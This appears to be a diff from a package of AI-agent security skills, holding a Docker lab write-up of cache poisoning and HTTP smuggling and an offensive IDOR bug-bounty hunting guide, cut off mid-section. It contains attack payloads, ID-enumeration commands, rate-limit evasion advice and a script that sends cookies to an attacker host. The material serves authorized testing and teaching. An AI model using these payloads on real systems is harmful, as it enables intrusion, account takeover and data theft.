  452. package/bundled-skills/semantic-versioning/references/details.md +83 -0
  453. package/bundled-skills/service-mesh/SKILL.md +422 -0
  454. package/bundled-skills/soc2-compliance/SKILL.md +409 -0
  455. package/bundled-skills/sops-encryption/SKILL.md +124 -0
  456. package/bundled-skills/sre-dashboards/SKILL.md +143 -0
  457. package/bundled-skills/ssh-configuration/SKILL.md +324 -0
  458. package/bundled-skills/ssl-tls-management/SKILL.md +428 -0
  459. package/bundled-skills/ssl-tls-management/references/details.md +99 -0
  460. package/bundled-skills/startup-it-troubleshooting/SKILL.md +415 -0
  461. package/bundled-skills/supply-chain-attack-recon/SKILL.md +453 -0
  462. package/bundled-skills/supply-chain-attack-recon/references/details.md +258 -0
  463. package/bundled-skills/systemd-services/SKILL.md +379 -0
  464. package/bundled-skills/terraform-aws/SKILL.md +125 -0
  465. package/bundled-skills/terraform-azure/SKILL.md +415 -0
  466. package/bundled-skills/terraform-azure/references/details.md +231 -0
  467. package/bundled-skills/terraform-gcp/SKILL.md +369 -0
  468. package/bundled-skills/threat-modeling/SKILL.md +487 -0
  469. package/bundled-skills/user-management/SKILL.md +383 -0
  470. package/bundled-skills/using-agent-skills/SKILL.md +220 -0
  471. package/bundled-skills/vector-database-ops/SKILL.md +300 -0
  472. package/bundled-skills/vendor-management/SKILL.md +439 -0
  473. package/bundled-skills/vendor-management/references/details.md +109 -0
  474. package/bundled-skills/vercel-deployments/SKILL.md +296 -0
  475. package/bundled-skills/vllm-server/SKILL.md +236 -0
  476. package/bundled-skills/vmware-vcenter-attack/SKILL.md +412 -0
  477. package/bundled-skills/vpn-setup/SKILL.md +452 -0
  478. package/bundled-skills/vulnerability-scanning/SKILL.md +448 -0
  479. package/bundled-skills/waf-setup/SKILL.md +354 -0
  480. package/bundled-skills/waf-setup/references/details.md +211 -0
  481. package/bundled-skills/web2-recon/SKILL.md +440 -0
  482. package/bundled-skills/web2-recon/references/details.md +319 -0
  483. package/bundled-skills/web3-audit/SKILL.md +445 -0
  484. package/bundled-skills/web3-audit/references/details.md +224 -0
  485. package/bundled-skills/windows-hardening/SKILL.md +454 -0
  486. package/bundled-skills/windows-hardening/references/details.md +204 -0
  487. package/bundled-skills/windows-server/SKILL.md +318 -0
  488. package/bundled-skills/writing-guidelines/SKILL.md +60 -0
  489. package/bundled-skills/zero-trust/SKILL.md +461 -0
  490. package/package.json +1 -1
  491. package/skills_index.json +7874 -277
@@ -0,0 +1,177 @@
1
+ # Verification — Phase 2H: cache poisoning + HTTP smuggling
2
+
3
+ > Two-server lab (Nginx 1.27 proxy + gunicorn/Flask origin) via Docker. Cache poisoning succeeded; HTTP smuggling **didn't** — and the failure mode is exactly the kind of honest negative that updates the skill content.
4
+
5
+ ## Target
6
+
7
+ `docker-compose.yml` building Nginx 1.27 (front-end with `proxy_cache`) + gunicorn-served Flask (origin reflecting `X-Forwarded-Host`).
8
+
9
+ Shipped at `docs/verification/phase2h-lab/`.
10
+
11
+ ```bash
12
+ mkdir -p ~/phase2h-lab && cd ~/phase2h-lab
13
+ # Copy the docker-compose.yml + origin/ + nginx/ from docs/verification/phase2h-lab/
14
+ docker-compose up -d --build
15
+ # Front-end on :58016, origin on :58015
16
+ ```
17
+
18
+ | Endpoint | Bug | Skill |
19
+ |---|---|---|
20
+ | `GET /` (cached by Nginx) | `X-Forwarded-Host` reflected into `<link>`/`<script>` URLs; cache key omits headers | `hunt-cache-poison` |
21
+ | Raw TCP to Nginx :80 | CL.TE / TE.CL / obfuscation variants | `hunt-http-smuggling` |
22
+
23
+ ---
24
+
25
+ ## Test 19 — cache poisoning via X-Forwarded-Host (`hunt-cache-poison`)
26
+
27
+ **Initial prompt:**
28
+ > "Nginx is fronting this app and the page loads JS from a `<script src=https://...>` tag that includes the X-Forwarded-Host header value. Can I poison the cache?"
29
+
30
+ **Skill that auto-triggers:** `hunt-cache-poison` — description includes "unkeyed inputs (X-Forwarded-Host, X-Original-URL, custom headers)".
31
+
32
+ **Technique from `hunt-cache-poison`:**
33
+ > `X-Forwarded-Host: attacker.com` (poisons script src URLs) → response gets cached → all subsequent visitors served the poisoned page.
34
+
35
+ ### Live attack
36
+
37
+ ```bash
38
+ # 1. Attacker hits a fresh URL with X-Forwarded-Host pointing to attacker domain.
39
+ # Use a cache-buster query so we're not served an existing cache entry.
40
+ URL="http://localhost:58016/?cb=$(date +%s%N)"
41
+
42
+ curl -i -H "X-Forwarded-Host: attacker.evil" "$URL"
43
+ ```
44
+
45
+ Attacker response:
46
+
47
+ ```
48
+ X-Cache-Status: MISS
49
+ ...
50
+ <link rel="stylesheet" href="https://attacker.evil/static/style.css">
51
+ <h1>Welcome — assets load from attacker.evil</h1>
52
+ ```
53
+
54
+ The origin reflected `attacker.evil` into the response. Nginx cached this response keyed by `$scheme$request_method$host$request_uri` only — NOT by `X-Forwarded-Host`.
55
+
56
+ ### Victim hit
57
+
58
+ ```bash
59
+ # Victim makes a normal request (no special headers) to the same URL
60
+ curl -i "$URL"
61
+ ```
62
+
63
+ Victim response:
64
+
65
+ ```
66
+ X-Cache-Status: HIT
67
+ ...
68
+ <link rel="stylesheet" href="https://attacker.evil/static/style.css">
69
+ <h1>Welcome — assets load from attacker.evil</h1>
70
+ ```
71
+
72
+ **`X-Cache-Status: HIT`** — victim is served the poisoned response from the cache. The CSS / JS URLs now point at `https://attacker.evil/`. Victim's browser will fetch attacker-controlled assets.
73
+
74
+ ### Impact chain
75
+
76
+ 1. Attacker (single request) poisons the cache for the URL
77
+ 2. Cache TTL = 5 minutes (lab config) → 5 minutes of poisoned response served to every visitor of that URL
78
+ 3. Victim's browser fetches `https://attacker.evil/static/app.js` → attacker controls JS executed in the victim's page context (XSS via cache poisoning)
79
+
80
+ `hunt-cache-poison`'s chain: **cache poisoning + reflected unkeyed header → persistent XSS across all CDN-cached visitors**. Verified.
81
+
82
+ ### Verdict
83
+
84
+ **PASS — live cache poisoning + XSS chain.** Exact technique from `hunt-cache-poison`. `triage-validation` 7-Question Gate passes all 7 — Critical.
85
+
86
+ ---
87
+
88
+ ## Test 20 — HTTP smuggling on Nginx 1.27 (`hunt-http-smuggling`)
89
+
90
+ **Initial prompt:**
91
+ > "Nginx in front of gunicorn — testing for CL.TE / TE.CL smuggling."
92
+
93
+ **Skill that auto-triggers:** `hunt-http-smuggling` — description includes "CL.TE, TE.CL, H2.CL, H2.TE", "obfuscation variants (space before colon, trailing space, lowercase, mixed-case)".
94
+
95
+ ### Probes from the skill
96
+
97
+ Eight payload variants tried, raw TCP to Nginx 1.27:
98
+
99
+ | Variant | Headers | Result |
100
+ |---|---|---|
101
+ | Classic TE.CL | `Transfer-Encoding: chunked` + `Content-Length: 4` | HTTP 400 |
102
+ | Classic CL.TE | `Content-Length: 13` + `Transfer-Encoding: chunked` | HTTP 400 |
103
+ | Space before colon | `Transfer-Encoding : chunked` | HTTP 400 |
104
+ | Trailing space | `Transfer-Encoding: chunked ` (trailing space) | HTTP 400 |
105
+ | Tab separator | `Transfer-Encoding:\tchunked` | HTTP 501 |
106
+ | Lowercase value | `Transfer-Encoding: Chunked` | HTTP 400 |
107
+ | Mixed-case header | `TrAnSFER-eNCODing: chunked` | HTTP 400 |
108
+ | Double TE | `Transfer-Encoding: cow` + `Transfer-Encoding: chunked` | HTTP 400 |
109
+ | X-prefix smuggle | `X-Transfer-Encoding: chunked` + `Transfer-Encoding: chunked` | HTTP 400 |
110
+
111
+ **All 9 payloads rejected.** Nginx 1.27 is **RFC 9112 strict** by default. When both `Content-Length` and `Transfer-Encoding` are present, the request is killed at the front-end with HTTP 400.
112
+
113
+ The tab-separator variant returned `501 Not Implemented` — Nginx parses the encoding name `\tchunked` and rejects it as unknown rather than treating it as the same encoding as `chunked`. Either way, smuggling fails.
114
+
115
+ ### Verification finding: modern Nginx is HTTP-smuggling-hardened
116
+
117
+ Nginx >= 1.21 (and definitively 1.27) implements strict RFC 9112 parsing for `Content-Length` and `Transfer-Encoding`. The classic CL.TE / TE.CL / obfuscation variants documented in `hunt-http-smuggling` do not reproduce against the default Nginx configuration.
118
+
119
+ **This does NOT invalidate the skill's payloads.** Targets known to remain vulnerable to one or more variants:
120
+
121
+ | Target ecosystem | CL.TE | TE.CL | H2.CL | H2.TE | Status (2024-2026) |
122
+ |---|---|---|---|---|---|
123
+ | HAProxy ≤ 2.4 (older configs) | ✓ | ✓ | — | — | **Vulnerable**, see CVE-2021-40346 |
124
+ | AWS ALB + specific upstream | partial | partial | ✓ | ✓ | Several disclosed-paid reports 2022-2024 |
125
+ | Cloudflare → S3 / Lambda combos | — | — | ✓ | ✓ | H2-downgrade attacks |
126
+ | Older F5 BIG-IP (TMM < 16) | ✓ | — | — | — | Vendor advisories |
127
+ | Citrix ADC / NetScaler (older firmware) | ✓ | ✓ | — | — | Disclosed in 2020-2022 |
128
+ | Squid 3.x | ✓ | — | — | — | Older deployments |
129
+ | Apache Traffic Server (older) | ✓ | ✓ | ✓ | ✓ | PortSwigger research |
130
+ | Custom Python proxies (no RFC enforcement) | ✓ | ✓ | — | — | Frequently vulnerable |
131
+ | **Nginx 1.21+** | **NO** | **NO** | partial (HTTP/2 ingress only) | partial | Hardened |
132
+ | **Caddy 2.x** | NO | NO | — | — | Hardened |
133
+ | **Envoy 1.20+** | NO | NO | partial | partial | Hardened in most paths |
134
+
135
+ **Operator rule:** before sinking time into CL/TE smuggling, fingerprint the front-end:
136
+
137
+ ```bash
138
+ curl -sI https://target/ | grep -i "Server:"
139
+ # If: nginx/1.21+, caddy 2.x, envoy 1.20+ → CL/TE classic is dead
140
+ # If: HAProxy, AWS ALB, Cloudflare → run the matrix
141
+ # If: server header absent or unidentifiable → assume hardened until proven otherwise
142
+ ```
143
+
144
+ The HTTP/2 downgrade attacks (H2.CL / H2.TE) remain viable against many CDN+origin chains in 2024-2026 because the CDN speaks HTTP/2 to the client but HTTP/1.1 to origin — and the downgrade can introduce CL/TE confusion. These require an HTTP/2 capable proxy at the front; **`hunt-http-smuggling` should add H2-downgrade-specific probes for modern targets**.
145
+
146
+ ---
147
+
148
+ ## Skill content gap closed (hunt-http-smuggling)
149
+
150
+ Adding a Target-Suitability Matrix to `hunt-http-smuggling` so operators don't waste time on hardened Nginx/Caddy/Envoy and instead pivot to:
151
+
152
+ 1. **H2.CL / H2.TE attacks against CDN+origin chains** (the modern dominant vector)
153
+ 2. **Legacy proxy fingerprints** (HAProxy, Squid, F5, Citrix) where CL/TE classic still works
154
+ 3. **Custom proxy implementations** in less-scrutinized stacks
155
+
156
+ ---
157
+
158
+ ## Summary — Phase 2H
159
+
160
+ | # | Test | Skill | Result |
161
+ |---|---|---|---|
162
+ | 19 | Cache poisoning via X-Forwarded-Host | `hunt-cache-poison` | PASS — victim served attacker's CSS/JS URLs from cache |
163
+ | 20 | HTTP smuggling on Nginx 1.27 | `hunt-http-smuggling` | **Negative — Nginx hardened**. Gap closed with target-suitability matrix. |
164
+
165
+ **Combined Phase 2 verification now: 24+ skills exercised. 9+ skill-content gaps catalogued and closed.**
166
+
167
+ This is the second honest negative + content-update cycle in two phases (Phase 2G XXE + Phase 2H smuggling). Both produce updates that make the skill content more accurate for 2026 deployment realities.
168
+
169
+ ---
170
+
171
+ ## Lab cleanup
172
+
173
+ ```bash
174
+ docker-compose down
175
+ ```
176
+
177
+ Containers ephemeral — no persistence needed.
@@ -0,0 +1,434 @@
1
+ ---
2
+ name: hunt-idor
3
+ description: Hunting skill for idor vulnerabilities. Built from 26 public bug bounty
4
+ reports. Use when hunting idor on any target.
5
+ category: security
6
+ risk: offensive
7
+ source: https://github.com/elementalsouls/Claude-BugHunter
8
+ source_repo: elementalsouls/Claude-BugHunter
9
+ source_type: community
10
+ date_added: '2026-09-20'
11
+ license: MIT
12
+ license_source: https://github.com/elementalsouls/Claude-BugHunter/blob/main/LICENSE
13
+ compatibility: Requires explicit written authorization for a target scope plus the
14
+ relevant testing tools for this technique. Docs-only; helper scripts and commands
15
+ not bundled.
16
+ sources: github, hackerone_public
17
+ report_count: 39
18
+ ---
19
+ > **⚠️ AUTHORIZED USE ONLY**
20
+ > This skill is for educational purposes or authorized security assessments only.
21
+ > You must have explicit, written permission from the system owner before using this tool.
22
+ > Misuse of this tool is illegal and strictly prohibited.
23
+
24
+ > **Mandatory confirmation gate**
25
+ > Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:
26
+ > 1. Ask the user to state the exact target URL, IP, account, or resource.
27
+ > 2. Ask the user to confirm written authorization and the permitted scope.
28
+ > 3. Show the exact command(s) and explain their expected effect.
29
+ > 4. Wait for explicit confirmation in the current conversation.
30
+ >
31
+ > Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.
32
+
33
+ ## Crown Jewel Targets
34
+
35
+ **Why IDOR pays big:**
36
+ - Direct access to other users' data without authentication bypass — clear, demonstrable impact
37
+ - Chains easily with privilege escalation, financial fraud, and account takeover
38
+ - Affects virtually every application with user-owned resources
39
+
40
+ **Highest-value asset types (by payout potential):**
41
+
42
+ | Asset Type | Why It Pays |
43
+ |---|---|
44
+ | Financial documents / billing APIs | PII + financial data exposure (Shopify, Uber, PayPal) |
45
+ | Private repositories / source code | IP theft, critical data loss (GitHub) |
46
+ | User messages / DMs | Privacy violation at scale (Reddit) |
47
+ | Account management endpoints | User addition, deletion, privilege escalation (PayPal, Mozilla) |
48
+ | Business/org administration | Cross-tenant escalation, employee PII (Uber) |
49
+ | Content moderation/admin actions | Operational sabotage (Reddit mod logs) |
50
+
51
+ **Programs that pay most for IDOR:**
52
+ - Platforms with multi-tenancy (SaaS, B2B tools)
53
+ - Fintech and payment processors
54
+ - Social platforms with private content
55
+ - Developer tools with org/repo isolation
56
+
57
+ ---
58
+
59
+ ## Attack Surface Signals
60
+
61
+ **URL patterns that scream IDOR:**
62
+ ```
63
+ /api/v1/users/{id}/
64
+ /api/v*/orders/{order_id}
65
+ /invoices/download?id=
66
+ /reports/{uuid}/
67
+ /messages/{thread_id}
68
+ /admin/orgs/{org_id}/members
69
+ /migration/{migration_id}/files
70
+ /graphql (query params with IDs)
71
+ /api/business/{business_id}/
72
+ /vouchers/{voucher_id}/policy
73
+ ```
74
+
75
+ **Response header signals:**
76
+ - `Content-Type: application/json` on endpoints accepting raw IDs
77
+ - No `X-Frame-Options` or CORS misconfigs paired with ID params
78
+ - `Authorization: Bearer` tokens that are user-scoped but hit org-level resources
79
+
80
+ **JavaScript source patterns:**
81
+ ```javascript
82
+ // Look for hardcoded or interpolated IDs in JS
83
+ fetch(`/api/v1/users/${userId}/profile`)
84
+ axios.get('/invoices/' + invoiceId)
85
+ graphql query { billingDocument(id: $docId) }
86
+ // Redux/state stores exposing foreign IDs
87
+ state.currentUser.organizationId
88
+ ```
89
+
90
+ **Tech stack signals:**
91
+ - GraphQL endpoints (query-based IDORs are often missed)
92
+ - REST APIs with sequential integer IDs (most vulnerable)
93
+ - UUIDs that are predictable or leaked in other responses
94
+ - Multi-tenant SaaS apps with `org_id`, `account_id`, `business_id` params
95
+ - Mobile apps (Burp the APK — mobile APIs often skip authorization checks)
96
+
97
+ ---
98
+
99
+ ## Step-by-Step Hunting Methodology
100
+
101
+ 1. **Map all object references in the application**
102
+ - Browse every feature authenticated as User A
103
+ - Capture all requests in Burp Suite
104
+ - Filter for requests containing: `id=`, `_id=`, `uuid=`, `/v1/{noun}/{id}`, query params with numeric/UUID values
105
+
106
+ 2. **Enumerate ID types**
107
+ - Sequential integers → enumerate ±1, ±100
108
+ - UUIDs → check if they appear in other responses or JS files
109
+ - Hashed IDs → check if leaked in public endpoints, metadata, or GraphQL introspection
110
+
111
+ 3. **Create two separate accounts (same privilege level)**
112
+ - User A: resource owner
113
+ - User B: attacker account
114
+ - Log all IDs belonging to User A while authenticated as User A
115
+
116
+ 4. **Replay User A's resource IDs as User B**
117
+ - Replace session cookie/token with User B's credentials
118
+ - Send identical requests referencing User A's object IDs
119
+ - Test ALL HTTP verbs: GET, POST, PUT, PATCH, DELETE on each endpoint
120
+
121
+ 5. **Test cross-tenant/cross-org scenarios**
122
+ - Create accounts in separate organizations/businesses
123
+ - Test if Org B's session can reference Org A's IDs
124
+ - Pay special attention to admin/management endpoints
125
+
126
+ 6. **Test GraphQL specifically**
127
+ - Run introspection: `{ __schema { queryType { fields { name } } } }`
128
+ - For every query/mutation taking an `id` argument, substitute another user's ID
129
+ - Test both queries (read) and mutations (write/delete)
130
+
131
+ 7. **Test write/destructive operations, not just reads**
132
+ - Can User B DELETE User A's resources?
133
+ - Can User B MODIFY User A's content?
134
+ - Can User B ADD themselves to User A's account?
135
+
136
+ 8. **Chain IDORs together**
137
+ - Use one IDOR's leaked data (org IDs, user IDs) to fuel the next
138
+ - IDOR → leaked ID → second IDOR → privilege escalation
139
+
140
+ 9. **Test state-changing edge cases**
141
+ - Expired tokens/invites that can still be accepted
142
+ - Race conditions on resource IDs
143
+ - Indirect references: `?sort=id` or `?filter[user_id]=`
144
+
145
+ 10. **Document the exact differential**
146
+ - Confirm User B has NO legitimate access to User A's resource
147
+ - Screenshot/log the 200 OK vs expected 403/404
148
+
149
+ ---
150
+
151
+ ## Payload & Detection Patterns
152
+
153
+ **Basic IDOR test with curl (swap cookie/token):**
154
+ ```bash
155
+ # Get User A's resource ID while authenticated as A
156
+ curl -s -H "Cookie: session=USER_A_SESSION" \
157
+ https://target.com/api/v1/invoices/12345
158
+
159
+ # Replay with User B's session
160
+ curl -s -H "Cookie: session=USER_B_SESSION" \
161
+ https://target.com/api/v1/invoices/12345
162
+
163
+ # Success = 200 OK with User A's data
164
+ ```
165
+
166
+ **GraphQL IDOR test:**
167
+ ```bash
168
+ curl -s -X POST https://target.com/graphql \
169
+ -H "Authorization: Bearer USER_B_TOKEN" \
170
+ -H "Content-Type: application/json" \
171
+ -d '{"query":"{ billingDocument(id: \"USER_A_DOC_ID\") { id amount pdfUrl } }"}'
172
+ ```
173
+
174
+ **Enumerate sequential IDs with ffuf:**
175
+ ```bash
176
+ ffuf -u "https://target.com/api/v1/orders/FUZZ" \
177
+ -w ids.txt \
178
+ -H "Authorization: Bearer USER_B_TOKEN" \
179
+ -mc 200 \
180
+ -o idor_results.json
181
+ ```
182
+
183
+ **Generate sequential ID wordlist:**
184
+ ```python
185
+ # Generate IDs around a known value
186
+ known_id = 48291
187
+ with open("ids.txt", "w") as f:
188
+ for i in range(known_id - 500, known_id + 500):
189
+ f.write(str(i) + "\n")
190
+ ```
191
+
192
+ **Burp Intruder payload for IDOR scanning:**
193
+ ```
194
+ GET /api/messages/§12345§ HTTP/1.1
195
+ Host: target.com
196
+ Authorization: Bearer USER_B_TOKEN
197
+
198
+ # Mark §12345§ as injection point
199
+ # Use numeric sequential payload: 12000-13000
200
+ # Filter responses by length difference or status 200
201
+ ```
202
+
203
+ **JavaScript scraping for leaked IDs:**
204
+ ```bash
205
+ # Find IDs in JS bundles
206
+ curl -s https://target.com/static/app.js | grep -Eo '"id":"[a-f0-9-]{36}"' | sort -u
207
+
208
+ # Find object references in API responses
209
+ curl -s -H "Cookie: session=USER_A" \
210
+ https://target.com/api/v1/dashboard | python3 -m json.tool | grep -i "_id"
211
+ ```
212
+
213
+ **Grep patterns for source code review:**
214
+ ```bash
215
+ # Missing authorization checks in common frameworks
216
+ grep -r "findById\|findOne\|getById" --include="*.js" .
217
+ grep -r "params\[:id\]\|params\['id'\]" --include="*.rb" .
218
+ grep -r "request\.args\.get\('id'\)" --include="*.py" .
219
+
220
+ # Look for direct ORM queries without user scoping
221
+ grep -r "Model\.find(params" --include="*.js" .
222
+ # vs secure pattern: Model.find({ id: params.id, userId: req.user.id })
223
+ ```
224
+
225
+ **IDOR via HTTP method tampering:**
226
+ ```bash
227
+ # Try undocumented methods
228
+ for method in GET POST PUT PATCH DELETE OPTIONS HEAD; do
229
+ echo "=== $method ==="
230
+ curl -s -X $method \
231
+ -H "Authorization: Bearer USER_B_TOKEN" \
232
+ https://target.com/api/v1/users/USER_A_ID/profile
233
+ done
234
+ ```
235
+
236
+ ---
237
+
238
+ ## Common Root Causes
239
+
240
+ 1. **Missing ownership check in ORM queries**
241
+ ```javascript
242
+ // VULNERABLE: fetches any record
243
+ const invoice = await Invoice.findById(req.params.id);
244
+
245
+ // SECURE: scopes to authenticated user
246
+ const invoice = await Invoice.findOne({ _id: req.params.id, userId: req.user.id });
247
+ ```
248
+
249
+ 2. **Authorization at the route level, not object level**
250
+ - Developer checks "is user logged in?" but not "does this user own this object?"
251
+ - Middleware confirms authentication; individual handlers skip ownership validation
252
+
253
+ 3. **Trusting client-supplied IDs in request bodies**
254
+ - Mobile apps or SPAs send `org_id` in POST body; server uses it directly without verifying caller belongs to that org
255
+
256
+ 4. **GraphQL resolvers without field-level authorization**
257
+ - Query resolvers fetch by ID from database without checking if the requesting user has permission
258
+ - Especially common when resolvers are auto-generated from schema
259
+
260
+ 5. **Inconsistent authorization across HTTP verbs**
261
+ - GET endpoint is protected; POST/DELETE on same resource path is not
262
+ - Common in APIs built incrementally by different developers
263
+
264
+ 6. **Indirect references exposed via related objects**
265
+ - Object A (accessible) contains a reference to Object B (should be private)
266
+ - Developer only protects direct access to B, not indirect references through A
267
+
268
+ 7. **Race conditions and state-based IDORs**
269
+ - Authorization checked at creation time, not at access time
270
+ - Invites/tokens remain valid after the granting permission is revoked
271
+
272
+ 8. **Multi-tenant isolation failures**
273
+ - Developers implement per-user access control but forget cross-org boundaries
274
+ - `user_id` check present; `org_id` / `tenant_id` check absent
275
+
276
+ ---
277
+
278
+ ## Bypass Techniques
279
+
280
+ **Defense: UUIDs instead of sequential integers**
281
+ - Bypass: UUIDs often leak in other API responses, notification emails, webhooks, GraphQL queries, or JS source
282
+ - Technique: Harvest UUIDs from accessible endpoints, then replay against restricted ones
283
+
284
+ **Defense: Indirect/hashed object references**
285
+ - Bypass: Decode the hash (often base64 or simple obfuscation), or find the original ID in another response
286
+ - Technique: `echo "dXNlcl8xMjM0NQ==" | base64 -d` → `user_12345`
287
+
288
+ **Defense: Short-lived tokens per resource**
289
+ - Bypass: Tokens sometimes reusable across users if server only validates token format, not binding
290
+ - Technique: Use your own token to access another user's resource ID
291
+
292
+ **Defense: Rate limiting on enumeration**
293
+ - Bypass: Slow enumeration (1 req/5s), use distributed IPs, or exploit non-enumeration IDORs (you already know the target's ID from another leak)
294
+
295
+ **Defense: Checking `user_id` in WHERE clause**
296
+ - Bypass: Check if the same endpoint exists at a different API version (`/v1/` vs `/v2/`) — authorization logic is often version-specific
297
+ - Technique: Check JS bundles for older API version calls
298
+
299
+ **Defense: CORS restrictions**
300
+ - Bypass: IDOR doesn't require cross-origin exploitation — you're testing API endpoints directly with your own session
301
+
302
+ **Defense: "Opaque" references via server-side sessions**
303
+ - Bypass: Look for any endpoint that *returns* the internal ID, then use it elsewhere; APIs often expose IDs in `Location` headers, error messages, or metadata
304
+
305
+ **Defense: Parameter filtering/WAF on common patterns**
306
+ - Bypass: Try nested JSON `{"data": {"id": "VICTIM_ID"}}`, HTTP parameter pollution `?id=own_id&id=victim_id`, or parameter name variations `user_id`, `userId`, `uid`, `account`
307
+
308
+ ---
309
+
310
+ ## Gate 0 Validation
311
+
312
+ Before writing the report, answer all three:
313
+
314
+ 1. **What can the attacker DO right now?**
315
+ Be specific: "Attacker with a valid account can send a GET request to `/api/v1/invoices/{victim_invoice_id}` and receive the victim's full billing document including name, address, and payment amount — without any relationship to that account."
316
+
317
+ 2. **What does the victim LOSE?**
318
+ Map to CIA triad: confidentiality (data exposed), integrity (data modified), or availability (data deleted). "Victim loses confidentiality of private financial records" or "Victim's content is deleted by a third party" — vague answers fail.
319
+
320
+ 3. **Can it be reproduced in 10 minutes from scratch?**
321
+ - Two fresh accounts created ✓
322
+ - Exact HTTP request documented with victim's ID ✓
323
+ - 200 OK response showing victim's data (or confirmed state change) ✓
324
+ - No reliance on pre-existing state or timing ✓
325
+
326
+ If you can't demo it reproducibly, do not file the report.
327
+
328
+ ---
329
+
330
+ ## Real Impact Examples
331
+
332
+ **Scenario 1: Financial Data Exposure + Cross-Account Billing Fraud (Uber-style)**
333
+ An attacker discovers two related IDORs: one allows reading any organization's voucher policy configuration (exposing org IDs, employee email lists, and payment methods), and a second allows modifying voucher policies using those leaked IDs. Chained together, this enables the attacker to redirect charges to an arbitrary business account, expose employee PII across organizations, and take over invitation links — all without any elevated privileges beyond a basic user account. Impact: financial fraud + mass PII exposure across the B2B platform.
334
+
335
+ **Scenario 2: Private Repository Read via IDOR on Migration Endpoint (GitHub-style)**
336
+ A migration feature allows users to upload files to a migration job. The `migration_id` parameter is not validated against the authenticated user's ownership. An attacker creates their own migration, observes the ID format, and substitutes another user's private migration ID — gaining read access to source code files from private repositories they have no access to. Impact: complete confidentiality bypass for private intellectual property.
337
+
338
+ **Scenario 3: Account Takeover Chain via Message IDOR (Reddit-style)**
339
+ An attacker accesses another user's private message threads by substituting their `thread_id` in a messaging API endpoint. The response includes message content, metadata, and — critically — session or verification tokens sent via internal messages. The attacker leverages the token found in the messages to perform account recovery steps, escalating a read-only IDOR into full account takeover. Impact: complete account compromise of targeted users at scale.
340
+
341
+ ---
342
+
343
+ ## Chains & Compositions (Senior Hunting)
344
+
345
+ Standalone IDOR gets paid at Low-Medium for cross-tenant *read*. The real money is in chaining IDOR to a *state-change* primitive that doesn't normally permit cross-tenant action — turning "I can see victim's data" into "I own victim's account". The six chains below are the highest-paying IDOR compositions on modern bug-bounty programs.
346
+
347
+ ### Chain 1 — IDOR on `/api/users/{id}/email` + Missing Re-Auth → Password Reset → ATO
348
+
349
+ - **A.** Confirm IDOR on the email-change endpoint — request `PUT /api/users/{victim_id}/email {"email":"attacker@evil"}` from attacker's session; server changes the victim's email without ownership check.
350
+ - **B.** Hit the password-reset flow on the victim's account — server emails reset link to the **new** email (attacker's).
351
+ - **C.** Open reset link, set new password, log in as victim.
352
+ - **Impact:** Silent ATO — victim sees no email change notification because the change happens via API not via the user-facing "change email" UI which has its own audit log.
353
+ - **Real shape:** Classic ATO pattern across many SaaS bug-bounty disclosures 2018-2024. Cross-refs `hunt-ato` Path 2 (email change without re-auth).
354
+
355
+ ### Chain 2 — IDOR on File-Download + Filename-Controlled `Content-Disposition` → Reflected-XSS-Via-Download → Session Theft
356
+
357
+ - **A.** IDOR on `/api/files/{id}/download` returns any user's file given the ID.
358
+ - **B.** The download endpoint sets `Content-Disposition: attachment; filename="<user-supplied-filename>"` without sanitising newlines or quotes — attacker uploads a file with filename `"; <script>fetch('https://attacker/x?c='+document.cookie)</script>; foo.txt`.
359
+ - **C.** Victim navigates to download → browser interprets the injected script in the response header context as HTML → JS runs same-origin → cookie/token exfil.
360
+ - **Impact:** ATO via IDOR + filename-controlled response header — neither primitive alone is critical; the chain is.
361
+ - **Real shape:** Multiple disclosed cases involving Office 365 SharePoint download endpoints, GitLab attachment downloads, SaaS export endpoints. Pairs with `hunt-xss` Chain 1 (response-header XSS class).
362
+
363
+ ### Chain 3 — IDOR via GraphQL `node(id:)` GID + Relay Relation Traversal → Cross-Tenant Mass Data Extraction
364
+
365
+ - **A.** Target uses GraphQL with Relay-style global IDs (`gid://shopify/Customer/<n>` or base64-encoded `type:id` patterns).
366
+ - **B.** `node(id:"<victim_gid>") { ... on Customer { email orders { totalPrice paymentMethods { cardLast4 } } } }` — the top-level `node()` resolver auths the requester, but nested relations don't re-check ownership against the resolved Customer.
367
+ - **C.** Iterate IDs (decoding base64 to extract numeric, incrementing) to exfil emails, order totals, payment methods across the entire customer base.
368
+ - **Impact:** Mass cross-tenant PII / financial data extraction. Single bug, full database.
369
+ - **Real shape:** Shopify Billing IDOR H1 #2207248 ($5,000); HackerOne PolicyPageAssetGroup IDOR H1 #1618347 ($25,000). Cross-refs `hunt-graphql` Disclosed Report Citation #5 and #2.
370
+
371
+ ### Chain 4 — IDOR on `/api/teams/{id}/members` + Mass-Assignment in Body → Role Escalation on Victim Team
372
+
373
+ - **A.** Standard horizontal IDOR — `POST /api/teams/{victim_team_id}/members {"email":"attacker@evil"}` adds attacker as a normal member without ownership check.
374
+ - **B.** The body accepts additional fields the API didn't filter: `{"email":"attacker@evil", "role":"OWNER", "permissions":["*"]}` — mass assignment leaks into the role field.
375
+ - **C.** Attacker is added to the victim team as OWNER. Now has full admin access to the victim team's resources and can remove the real owners.
376
+ - **Impact:** Cross-tenant privilege escalation via IDOR + mass assignment. The single most efficient takeover chain on SaaS team-management APIs.
377
+ - **Real shape:** Shopify undocumented `fileCopy` mutation H1 #981472 (2020, $2,000); Stripe `UpdateAtlasApplicationPerson` cross-tenant mutation H1 #1066203 (2020). Cross-refs `hunt-graphql` Disclosed Report Citation #7 and #8; pairs with `hunt-api-misconfig` Mass Assignment section.
378
+
379
+ ### Chain 5 — Soft-Delete IDOR + Post-Removal Token Validity → Persistent Cross-Tenant Access
380
+
381
+ - **A.** Identify the "remove member" endpoint that flips an `active=false` flag but doesn't invalidate the session/PAT.
382
+ - **B.** Log in as the to-be-removed user; capture session cookie or PAT.
383
+ - **C.** Have the org admin remove the user via the normal flow. Wait. Re-issue API calls using the captured token — IDOR is now *temporal* (the user no longer has permission per the policy table, but the cached auth context still passes).
384
+ - **Impact:** Weeks of post-termination cross-tenant access; GDPR/CCPA breach exposure; potential extortion leverage.
385
+ - **Real shape:** Shopify removed-staff persistence class (2022). Cross-refs `hunt-misc` Chain 1 — same root cause shape, different starting primitive.
386
+
387
+ ### Chain 6 — Double-IDOR (`/users/{id}/orders → /orders/{order_id}/refund`) → Financial Impact on Victim Merchant
388
+
389
+ - **A.** First IDOR: `GET /api/users/{victim_id}/orders` returns the victim's order list without ownership check — yields legitimate `order_id` values.
390
